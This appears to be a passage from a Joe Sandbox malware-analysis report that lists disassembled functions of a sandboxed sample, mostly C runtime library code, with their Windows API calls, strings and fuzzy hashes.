Instruction Fuzzy Hash: 29019232509129AFDF15DFA8ED05AAF3B65EF00360F004078F80196150DB31CF05D790

Function 00A220C0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 46
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00A220C5

Part of subcall function 00A22CA2: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00A22CAE
Part of subcall function 00A22CA2: std::exception::exception.LIBCMT ref: 00A22CCB

Part of subcall function 00A22D17: GetCurrentThreadId.KERNEL32 ref: 00A22D42

Strings

string too long, xrefs: 00A220C0

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: CurrentThreadXinvalid_argumentstd::_std::exception::exceptionstd::invalid_argument::invalid_argument
String ID: string too long
API String ID: 2087764332-2556327735
Opcode ID: 55d14d0d5fb07492f1df5cb5add70623d875d59f6b14215bf7faf6d973787185
Instruction ID: 63012e947506249beddc481eacb026b6594a7a0a181d7276a63a0b5d38af07c1
Opcode Fuzzy Hash: 55d14d0d5fb07492f1df5cb5add70623d875d59f6b14215bf7faf6d973787185
Instruction Fuzzy Hash: F8018BB1940219AFCB04DFA8E846B9FBBB5FB45720F104639E80557740D3799A01CAE1

Function 00A2F4C2 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A2F86C: GetConsoleOutputCP.KERNEL32(0BA9D0CA,00000000,00000000,?), ref: 00A2F8CF

WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,?,?,?,?,?,00A256A2,?,00A25904), ref: 00A2F647
GetLastError.KERNEL32(?,00A256A2,?,00A25904,?,00A25904,?,?,?,?,?,?,?,00000000,?,?), ref: 00A2F651

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 016af5984e702cc1d39174371400513170268d3385b76f3a7f6281cddaac421a
Instruction ID: 196f5cb014cb2e87600ab821921b624199f7d13da14560ab30f28171a0d5acd0
Opcode Fuzzy Hash: 016af5984e702cc1d39174371400513170268d3385b76f3a7f6281cddaac421a
Instruction Fuzzy Hash: B46180B1D00169AFDF11DFACED44AAEBBB9EF09304F140175E904AB266D732D911CB60

Function 00A2234A Relevance: 3.1, APIs: 2, Instructions: 94
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A23F3E: RaiseException.KERNEL32(E06D7363,00000001,00000003,00A220CA,?,?,?,00A22CC1,00A220CA,00A3D820,?,00A220CA,string too long,00A212D2), ref: 00A23F9F

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00A22E92
___raise_securityfailure.LIBCMT ref: 00A22F7A

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID:
API String ID: 3749517692-0
Opcode ID: 8bd72feb032446739feba5f712e21dc88f0f50600f737921f2e4092b14047ed0
Instruction ID: 505b28c32f0702396f5785c5abb56c08c02537f2fdf48cb0c9c22fa14a16b9f1
Opcode Fuzzy Hash: 8bd72feb032446739feba5f712e21dc88f0f50600f737921f2e4092b14047ed0
Instruction Fuzzy Hash: 75314DB9920305EED704EFD9FD46B857BA8BB14310F10853AF924CB2B1E7749A428B85

Function 00A2FC9B Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,00A2F62D,?,00A25904,?,?,?,00000000), ref: 00A2FD37
GetLastError.KERNEL32(?,00A2F62D,?,00A25904,?,?,?,00000000,?,?,?,?,?,00A256A2,?,00A25904), ref: 00A2FD5D

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: e2ac66563ab13d7596ded1a5cdf5caa4ee35a3ad70ad6e8e7ab4c7cc414e61cc
Instruction ID: f09206164d38c0a807fbe4bd3859d36b936bf5fee5c4748df8dcd9115fd3cead
Opcode Fuzzy Hash: e2ac66563ab13d7596ded1a5cdf5caa4ee35a3ad70ad6e8e7ab4c7cc414e61cc
Instruction Fuzzy Hash: 86217431A002299FCF15CF6DED80AE9B7B9EB49305F2445BAEA06D7251D6309D428B60

Function 00A2A59C Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,00A2A48B,00A3DC40,0000000C), ref: 00A2A5E8
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,00A2A48B,00A3DC40,0000000C), ref: 00A2A5FA

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: a9a55db16e206b6e6f2aac04fd0c80c433c1200cf837cd3a2fb720e9419f4b69
Instruction ID: 6ba71f551af077b5fc4ae770fe5ea11d13b210b94dc8ab1bce86bae019ddddc0
Opcode Fuzzy Hash: a9a55db16e206b6e6f2aac04fd0c80c433c1200cf837cd3a2fb720e9419f4b69
Instruction Fuzzy Hash: AD11B1716047614BC7308F7EAC88623BAA4AB66370B38073AE4B6865F1C730D9839652

Function 00A270B7 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00A3D900,0000000C), ref: 00A270CA
ExitThread.KERNEL32 ref: 00A270D1

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: ecba36593ad8d05dfe217ace638c5481e19241756410b08cab707d9464ecb652
Instruction ID: 0069c316c76b360073e46d579ee3534a01eb7eca9e836750433f4c613d52d976
Opcode Fuzzy Hash: ecba36593ad8d05dfe217ace638c5481e19241756410b08cab707d9464ecb652
Instruction Fuzzy Hash: EFF0A471904214AFDB10EBB4ED46A6E3B74EF00710F104464F00567291CF749A01CBA1

Function 00A29C89 Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c40f03ad593543137a425e369332d09f7d613ce3f757ba584a2a296f06cd5c4
Instruction ID: 889e71134cb1b64cdbf95fe1e900a650bf59ecf5baeb8ccee1aae002233cfb14
Opcode Fuzzy Hash: 6c40f03ad593543137a425e369332d09f7d613ce3f757ba584a2a296f06cd5c4
Instruction Fuzzy Hash: 7201DE376046319F8B02CFACFC85A1777A6BB91B20B244535F9008B194DB309C019780

Function 00A2B8D6 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00A2AB77,?,?,00A2AB77,00000220,?,00000000,?), ref: 00A2B908

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: d76185942f3c9ed4b20a4692691b1e528c989def8d869a70124171a29d42462e
Instruction ID: b817d295325797d312f5500e5dcee714bd8adfe62027dbd80a0399050960350b
Opcode Fuzzy Hash: d76185942f3c9ed4b20a4692691b1e528c989def8d869a70124171a29d42462e
Instruction Fuzzy Hash: 91E0653153623167D63137BDBD057AA775C9B427A4F590131FD18A61A2CF20CD4196F4

Non-executed Functions

Function 00A31A10 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7946e7d3bd8a4c71b1004167feaff1146a0b4289e9922db4fb30fff94b398ee0
Instruction ID: e82441bb91e8cc3fd62908d4a82aa5815b752442675b936127d28601a68e2815
Opcode Fuzzy Hash: 7946e7d3bd8a4c71b1004167feaff1146a0b4289e9922db4fb30fff94b398ee0
Instruction Fuzzy Hash: 38021A71E012199BDF14CFA9D9806AEFBF1FF49354F248269E919A7340D731AE41CB90

Function 00A239F1 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00A239FD
IsDebuggerPresent.KERNEL32 ref: 00A23AC9
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00A23AE2
UnhandledExceptionFilter.KERNEL32(?), ref: 00A23AEC

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 826481170715b79ce70999a2089fa8c092631c9e1e43496a5c9f673e957ca1ca
Instruction ID: 41ffff8eb6843aef07b09245e50841a81fb206d02039299cf28b676d98aee85b
Opcode Fuzzy Hash: 826481170715b79ce70999a2089fa8c092631c9e1e43496a5c9f673e957ca1ca
Instruction Fuzzy Hash: DD310875D052289BDF21DFA4ED497CDBBB8AF08340F1041AAE40DAB250EB759B85CF45

Function 00A28077 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00A2816F
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00A28179
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 00A28186

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 1fc7d7a02d5e981efd45beace54b28994d59b0d50f6304f5ec407366060c0fc5
Instruction ID: c131f1940fee102fcf8245dacc493bdcf3cdea72dcdd7b186c56394e04cdefad
Opcode Fuzzy Hash: 1fc7d7a02d5e981efd45beace54b28994d59b0d50f6304f5ec407366060c0fc5
Instruction Fuzzy Hash: 0F31C7759012289BCB21DF68ED8978DBBB4BF48310F5041EAF40CA7290EB749F858F44

Function 00A239E5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00003B06,00A2349D), ref: 00A239EA

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 47a74b840beff163c5ba3704a81bef7ac0b4e1d09d20347990c77a9466afa7dc
Instruction ID: 8fe5cb75f63ebea1e837fa5a9b65fe1e9f04dfbc60d13c447725bc594f3ca8a9
Opcode Fuzzy Hash: 47a74b840beff163c5ba3704a81bef7ac0b4e1d09d20347990c77a9466afa7dc
Instruction Fuzzy Hash:

Function 00A29E16 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00A29E16

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 1bfb34e1451f943238901942e90e01748803857ee47cd0a84c00458c79dae387
Instruction ID: e48fef8c9a180b17e2d5a47c2616c1ca8b19ae234d61e64fa12f90fa1f74612a
Opcode Fuzzy Hash: 1bfb34e1451f943238901942e90e01748803857ee47cd0a84c00458c79dae387
Instruction Fuzzy Hash: 68A00171A162019F9740CFB6AE093097AA9BA466E27059469B409D6160EB248952AF41

Function 00A33FDE Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,00A33FC9,?,?,?,?,?,?,?,?,?), ref: 00A34084
__alloca_probe_16.LIBCMT ref: 00A3413F
__alloca_probe_16.LIBCMT ref: 00A341CE
__freea.LIBCMT ref: 00A34219
__freea.LIBCMT ref: 00A3421F
__freea.LIBCMT ref: 00A34255
__freea.LIBCMT ref: 00A3425B
__freea.LIBCMT ref: 00A3426B

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: e0f8f8d022b8b42786fb78d73254055858dabfb67d49d1091ab02cc41a675e00
Instruction ID: b8f6d5ea0064a6bf6f04175c697abd68d2b3979aec6cf2113f7616e417a375a4
Opcode Fuzzy Hash: e0f8f8d022b8b42786fb78d73254055858dabfb67d49d1091ab02cc41a675e00
Instruction Fuzzy Hash: 2171D272A04215ABDF249FE49D41BEF7BB9AF5E310F290159F904B7281D779AC4087A0

Function 00A2C28B Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00A2C311

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 6f50279ee7fba881e46e44fc6ac24256dd30adf8a6b45f72db007344eb616516
Instruction ID: d16dd2a10b6ed7b356915fd18c8385ea990e2a94de48638e37a344c62b3ddce7
Opcode Fuzzy Hash: 6f50279ee7fba881e46e44fc6ac24256dd30adf8a6b45f72db007344eb616516
Instruction Fuzzy Hash: CCB13372A00275AFDB15CF6CDC81BBEBBA5EF55360F148176E904AF282D674E901C7A0

Function 00A24650 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00A24687
___except_validate_context_record.LIBVCRUNTIME ref: 00A2468F
_ValidateLocalCookies.LIBCMT ref: 00A24718
__IsNonwritableInCurrentImage.LIBCMT ref: 00A24743
_ValidateLocalCookies.LIBCMT ref: 00A24798

Strings

csm, xrefs: 00A2472D

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: eae4d11e58dc271acea399d5e2070d9b746739859b6390172ff74ed787d93805
Instruction ID: 338fba5fa8f0a42eaa760da0f9587771237ec8fa16d9c116213a6e993c39c3fd
Opcode Fuzzy Hash: eae4d11e58dc271acea399d5e2070d9b746739859b6390172ff74ed787d93805
Instruction Fuzzy Hash: 5041A534E00228ABCF10DF6CE885A9EBBB5FF4A314F148475F8256B392D731A911CB90

Function 00A23269 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00A2326F
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00A2327D
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 00A2328E

Strings

GetSystemTimePreciseAsFileTime, xrefs: 00A23277
GetTempPath2W, xrefs: 00A23283
kernel32.dll, xrefs: 00A2326A

Memory Dump Source

Source File: 00000007.00000002.2451224369.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000007.00000002.2451191368.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451258252.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451285300.0000000000A3E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451311190.0000000000A3F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451335222.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2451370030.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a20000_c7017f8470.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 67c66fcbbe11dde9553d1b9292fa4ea20c7521d86dc4e94344d7735aa57044ce
Instruction ID: 90c98764b9113bb902266858b00aff70f72c4707e8efeae0bd3d1b9dbc3afd59
Opcode Fuzzy Hash: 67c66fcbbe11dde9553d1b9292fa4ea20c7521d86dc4e94344d7735aa57044ce
Instruction Fuzzy Hash: 7DD0C7759913607FC700EFF07C0E9863F94FA057217015521F505F2260EB7009138F95

Function 00A28639 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00A28630,00A2443B,00A23B4A), ref: 00A28647
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00A28655
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00A2866E
SetLastError.KERNEL32(00000000,00A28630,00A2443B,00A23B4A), ref: 00A286C0

Memory Dump Source

